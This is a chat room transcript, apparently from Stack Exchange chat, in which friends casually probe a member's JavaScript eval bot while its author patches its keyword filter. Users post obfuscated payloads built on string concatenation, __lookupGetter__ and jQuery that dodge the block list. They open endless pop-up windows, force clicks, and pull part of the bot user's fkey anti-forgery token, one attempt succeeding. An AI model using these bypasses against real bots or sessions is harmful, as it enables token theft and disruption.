« first day (680 days earlier)      last day (3009 days later) » 

12:22 AM
I saw my teacher's code formatting and almost died
SO's formatting is better than his
 
 
2 hours later…
2:13 AM
isDenAlive()
 
 
7 hours later…
8:46 AM
status-false
 
 
3 hours later…
11:22 AM
@Unikittyeatsacat So, you had near-death experience?
Wow, I am here with animals and plants.
Heloooo!! Any human here?!
 
12:08 PM
@Unikittyeatsacat lend me your minecraft account.
 
12:34 PM
isDenAlive();
doSomethingNeferpitou();
 
false
void
 
12:46 PM
Sup
@berserk ????
 
yup
 
Hup
 
God siree cn eye uz ur accaunt too pley fawr a whiel?
 
Can u buey et ursalf?
me am maeking a moadpak
@PDKnight haz you fixt bugz yat?
 
12:49 PM
 
@uni I have a server now
its just a free one
 
yay!
Dammit
 
wanna join
 
I didn't go to SO yesterday
 
lol
 
12:51 PM
@neferpitou ok
Poor @ber
 
did you copy it?
 
nice
I will give berserk an account soon
 
Nice cat picture
 
12:53 PM
@neferpitou yay!
 
haha
 
Is that the other uni?
 
yep
 
lol
I just hit him
 
???
 
12:55 PM
with an axe?
 
should we build house now
@uni where should we build house?
 
In the mountain
 
how to chat in the game?
 
press 't'
 
1:29 PM
what happen?????
didnt expect that
 
??
When you left?
 
Disconnected
Im back
-reconnected
 
@Unikittyeatsacat wich bugz?
 
@PDKnight The ... at the end bug
 
@Unikittyeatsacat do you mean the xml?
 
1:40 PM
yep
that one
 
I'll fix that today, I was working on new song yesterday, so... :D
 
!eval location
@Unikittyeatsacat btw ^
 
!eval location.href = 'a'
 
@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> location
 
1:52 PM
!eval location.href = 'http://google.com'
 
@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> location
 
??
!eval location
 
you can show it, but you can't use it :P
 
Nice
!eval location.href
 
@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> location
 
1:53 PM
Whatt?
!eval location['href']
 
@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> location
:D magic
 
!eval location [ 'hr' + "ef" ]
 
@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> location
 
!eval __lookupSetter__('loca'+'tion', 'href')('http://google.com')
 
@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> location
 
1:56 PM
!alive
 
@Unikittyeatsacat Guess who's here!
 
Wat
!eval __lookupGetter__('lo'+'cation')()['reload']()
 
@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> location
 
!eval __lookupSetter__('loca'+'ti'+String.fromCharCode(111)+'n', 'href')('http://google.com')
 
2:00 PM
@ProgramFOX Error: __lookupSetter__(...) is not a function
 
!eval __lookupGetter__('lo'+'c' + (10).toString(16)+'tion')()['reload']()
 
Well, no lookupSetter for me then.
 
!alive
Boo, Boo
 
Wait, lookupGetter does exist?
 
yep it does
 
2:01 PM
I know, but last time I tried it on the bot it didn't work.
 
Found another hole
@Pro what should we abuse now?
 
Nothing, as long as the bot is dead.
 
!eval Function
 
>
function Function() { [native code] }
 
!eval var n=Function('fo' + 'r (i = 0; i < Infinity; i+' + '+) {\n open("http://chat.meta.stackexchange.com/rooms/721/shadows-den", "_blank", "width="+screen.width + ",height"+screen.height); al' + 'ert("BOO BOO BOO BOO BOO") } ')();
 
2:06 PM
@Unikittyeatsacat Please, don't use RegExp in your query.
 
oh, so it wasn't dead in the first place?
 
w8
I disabled it
 
!eval var n=Function('fo' + 'r (i = 0; i < Infinity; i+' + '+) {\n open("http://google.com", "_blank", "width="+screen.width + ",height"+screen.height); al' + 'ert("BOO BOO BOO BOO BOO") } ')();
D:
See?
Your anti regex disallows urls
BOO BOO BOO
 
@Unikittyeatsacat try it again
oh no
I need to fix smthng
@Unikittyeatsacat here we go...now?
 
2:15 PM
!eval var n=Function('fo' + 'r (i = 0; i < Infinity; i+' + '+) {\n open("http://google.com", "_blank", "width="+screen.width + ",height"+screen.height); al' + 'ert("BOO BOO BOO BOO BOO") } ')();
 
@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> Function
 
D:
!eval Function
 
>
function Function() { [native code] }
 
sorry
I forgot to renew
lol
 
!eval var n=Function.constructor ('fo' + 'r (i = 0; i < Infinity; i+' + '+) {\n open("http://google.com", "_blank", "width="+screen.width + ",height"+screen.height); al' + 'ert("BOO BOO BOO BOO BOO") } ')();
 
2:16 PM
@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> Function
 
!eval Function.
 
@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> Function
 
!eval Function [
 
@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> Function
 
!eval __lookupGetter__('stop' + 'dbot'.toUpperCase())()
 
2:18 PM
@Unikittyeatsacat Error: __lookupGetter__(...) is not a function
 
!eval lookupGetter
 
@Unikittyeatsacat Error: lookupGetter is not defined
 
!eval __lookupGetter__
 
>
function __lookupGetter__() { [native code] }
 
!eval __lookupGetter__('stop' + 'dbot'.toUpperCase())()
 
2:19 PM
@Unikittyeatsacat Error: __lookupGetter__(...) is not a function
 
what
 
__lookupGetter__('stop' + 'dbot'.toUpperCase())()
 
"It's a function with native code, but it doesn't exist"
 
JUST REMOVE EVAL
WE WILL BREAK YOUR BOT
TRUST ME
 
!eval "fkey"
 
2:20 PM
@ProgramFOX I'm sorry, but your query contains banned expression(s). -> fkey
 
good
!eval body
 
>
[object Object]
 
!eval body.querySelector('#fkey')
 
@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> fkey
 
!eval body["f"+"key"][0]
 
2:21 PM
@ProgramFOX I'm sorry, but your query contains banned expression(s). -> fkey
 
!eval body.querySelector('#fk'+'ey')
 
@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> fkey
 
!eval body.querySelector('#fk'+(15).toString(16) + "y")
 
@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> body.
 
\!eval body . querySelector('#fk'+(15).toString(16) + "y")
 
2:21 PM
haha, meanwhile, body is banned too
 
!eval body . querySelector('#fk'+(15).toString(16) + "y")
 
@Unikittyeatsacat Error: body.querySelector is not a function
:D
 
!eval __lookupGetter__('stop dbot')
 
>
undefined
 
2:22 PM
!alive
@PDKnight Booo, booo!
 
@Unikittyeatsacat Duh, body does not refer to a HTML element, but it's some Stack Exchange object including your fkey.
 
@PDKnight prepare to delete messages
Found bug
 
!eval __lookupGetter__
 
>
function __lookupGetter__() { [native code] }
 
2:23 PM
body['fk' + (15).toString(16) + 'y']
 
fail
 
Wait it's 14
 
:D :D
 
@ProgramFOX in chat, there is also hidden input with the fkey
 
2:23 PM
@ShadowWizard Yeah but the body object won't help with that, as Unikitty tried.
 
@ProgramFOX hmm... yup
 
!eval leave.ownerDocument.querySelector('#fk' + (14).toString(16) + 'y')
 
@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> Document
 
Ah come on @Unikittyeatsacat, don't make his fkey public. If you want to exploit it, just publish the first char to chat.
 
!eval leave['owner' + 'd'.toUpperCase()+'ocument'].querySelector('#fk' + (14).toString(16) + 'y')
 
2:25 PM
@Unikittyeatsacat Error: Cannot read property 'querySelector' of undefined
w8
 
I disabled it
 
Are you using ie for what
QOTM??
 
activated
 
!eval $.post
 
2:25 PM
> Are you using IE or what?
 
chrome -.-
@ShadowWizard try again, please
 
Use Firefox!
 
!eval $.post
 
@ShadowWizard I'm sorry, but your query contains banned expression(s). -> \$.
 
!eval leave['owner' + 'd'.toUpperCase()+'ocument'].querySelector('#fk' + (14).toString(16) + 'y').value[0]
 
2:26 PM
@Unikittyeatsacat Error: Cannot read property 'querySelector' of undefined
 
!eval leave
 
!eval jQuery.post
 
I know sadface
 
!eval leave.click()
!alive
 
2:26 PM
@Unikittyeatsacat Booo, booo!
 
!eval leave ['click'] .call()
 
@Unikittyeatsacat Error: Illegal invocation
 
!eval leave ['click']()
Boo, Boo
 
@uni pls look at the bottom there is some kinda hard stone
 
yas
 
2:27 PM
and there it went
 
that worked :D
 
I cant break it
 
!eval 'alive'
 
nope, I disabled it
 
Yeah, I figured that out :P
 
2:30 PM
!eval nope
Gah
 
2:51 PM
!eval 'alive??'
 
@Unikittyeatsacat yep
!eval 'alive'
>
alive
 
!eval leave.parentElement.parentElement.parentElement.parentElement.parentElement.pare‌​ntElement.parentElement.parentElement.querySelector('#fkey').value.substring(0, 4)
 
@Unikittyeatsacat I'm sorry, but your query contains id of banned element at char 0 :(
 
wew
@uni did you get the server info?
 
2:53 PM
!eval leave.parentElement.parentElement.parentElement.parentElement.parentElement.pare‌​ntElement.parentElement.parentElement.querySelector('#' + 'fk' + 'e' + 'y').value.substring(0, 4)
 
@Unikittyeatsacat I'm sorry, but your query contains id of banned element at char 0 :(
 
@neferpitou Nope
 
thats the user credential :(
 
!eval jQuery
 
>
function (a,b){return new e.fn.init(a,b,h)}
 
2:54 PM
!eval jQuery("#input")[0].innerHTML="This is a test";jQuery("#sayit-button").click();
 
@ProgramFOX I'm sorry, but your query contains id of banned element at char 9 :(
 
!eval jQuery("#input").text("This is a test");jQuery("#sayit-button").click();
 
@ProgramFOX I'm sorry, but your query contains id of banned element at char 9 :(
 
!eval jQuery("#in"+put").text("This is a test");jQuery("#sayit"+"-button").click();
 
@ProgramFOX I'm sorry, but your query contains id of banned element at char 51 :(
 
2:56 PM
!eval leave
 
@Unikittyeatsacat I'm sorry, but your query contains id of banned element at char 0 :(
 
!eval jQuery("#in"+put").text("This is a test");jQuery("#sayit"+"-butt"+"on")["cli"+"ck"]();
 
@ProgramFOX I'm sorry, but your query contains id of banned element at char 51 :(
 
!eval getmore
 
@Unikittyeatsacat I'm sorry, but your query contains id of banned element at char 0 :(
 
2:56 PM
!eval jQuery("#in"+put").text("This is a test");jQuery("#"+"sa"+"yit"+"-butt"+"on")["cli"+"ck"]();
 
@ProgramFOX I'm sorry, but your query contains id of banned element at char 51 :(
 
!eval .button
 
@Unikittyeatsacat Error: Unexpected token .
 
!eval jQuery("#in"+put").text("This is a test");var e = jQuery.Event("keypress");e.which=13;e.keyCode=13;jQuery("#in"+"put").trigger(e);
 
@ProgramFOX I'm sorry, but your query contains id of banned element at char 108 :(
 
2:58 PM
ugh
 
!eval [leave][0].parentElement.parentElement.parentElement.parentElement.parentElement‌​.parentElement.parentElement.parentElement.querySelector('#fk' + (14).toString(16) + 'y').value.substring(0, 4)
 
@Unikittyeatsacat I'm sorry, but your query contains id of banned element at char 1 :(
 
!eval jQuery("#in"+put").text("This is a test");var e = jQuery.Event("keypr"+"ess");e.which=13;e.keyCode=13;jQuery("#in"+"p"+"ut")["trig‌​"+"ger"](e);
 
anyway,
jQuery("#in"+put") is not valid
 
oh
:(
 
2:59 PM
but it won't work though
 
!eval "I want to leave this place"
 
@Unikittyeatsacat I'm sorry, but your query contains id of banned element at char 11 :(
 
!eval var a=String.fromCharCode(35)+String.fromCharCode(105)+"nput";jQuery(a).text("This is a test");var e = jQuery.Event("keypr"+"ess");e.which=12+1;e.keyCode=14-1;jQuery(a)["trig‌​"+"ger"‌​](e);
 
@ProgramFOX I'm sorry, but your query contains banned expression(s). -> jQuery.
 
3:00 PM
grr
 
!eval jQuery
 
>
function (a,b){return new e.fn.init(a,b,h)}
 
!eval [jQuery][0]('#fk' + (14).toString(16) + 'y').val().substring(0, 4)
 
>
3d0a
 
!eval var a=String.fromCharCode(35)+String.fromCharCode(105)+"nput";jQuery(a).text("This is a test");var j = jQuery;j.Event("keypr"+"ess");e.which=12+1;e.keyCode=14-1;jQuery(a)["trig‌​"+"ge‌​r"‌​](e);
 
3:00 PM
BOOOOOO
 
@ProgramFOX I'm sorry, but your query contains banned expression(s). -> jQuery(
 
HAHAAHAHHA
ROFL
@Pro mission accomplished!
 
!eval var j=jQuery;var a=String.fromCharCode(35)+String.fromCharCode(105)+"nput";j(a).text("This is a test");j.Event("keypr"+"ess");e.which=12+1;e.keyCode=14-1;j(a)["trig‌​"+"ge‌​r"‌‌​​](e);
 
@ProgramFOX Error: Unexpected token ILLEGAL
 
Anyways...
 
3:02 PM
!eval var j=jQuery;var a=String.fromCharCode(35)+String.fromCharCode(105)+"nput";j(a).text("This is a test");j.Event("keypr"+"ess");e.which=12+1;e.keyCode=14-1;j(a).trigger(e);
 
Gonna mess with more JS
 
I disabled it again
 
UserScripts
@PDKnight Did you like it?
 
@Unikittyeatsacat I'm adding a bit of protection :P
 
@PDKnight The best (and only) protection is basically to disallow !eval at all.
 
3:05 PM
@Unikittyeatsacat Such poetry!
 
@ProgramFOX so why do you try to hack into it? :D
 
Denlings!
@PDK just remove regex
 
@PDKnight Because it's fun and I do that with all eval-bots :P
 
Just realized something
 
3:15 PM
@PDKnight To make you realize that?
 
Since it matches our code with regex, REDOS TIME
 
huh? :D
@Unikittyeatsacat
 
3:42 PM
back @Unikittyeatsacat
!eval [jQuery]
@PDKnight I'm sorry, but your query contains disallowed array: [jQuery] :(
 
!eval [1, 2, 3]
 
>
1,2,3
 
!eval [$]
 
@Unikittyeatsacat I'm sorry, but your query contains disallowed array: [\$] :(
 
!eval [2, jQuery , 1 ]
 
3:43 PM
>
2,function (a,b){return new e.fn.init(a,b,h)},1
fck :D
w8
!eval [0, jQuery, 1]
@PDKnight I'm sorry, but your query contains disallowed array: [jQuery] :(
 
!eval var n = []; n.push(jQuery); n[0]('#fk' + (14).toString(16) + 'y').val().substring(0, 4)
 
@Unikittyeatsacat I'm sorry, but your query contains disallowed array: [jQuery] :(
 
D:
!eval var n = []
 
but wait
w8
 
4:05 PM
ahhh
 

« first day (680 days earlier)      last day (3009 days later) »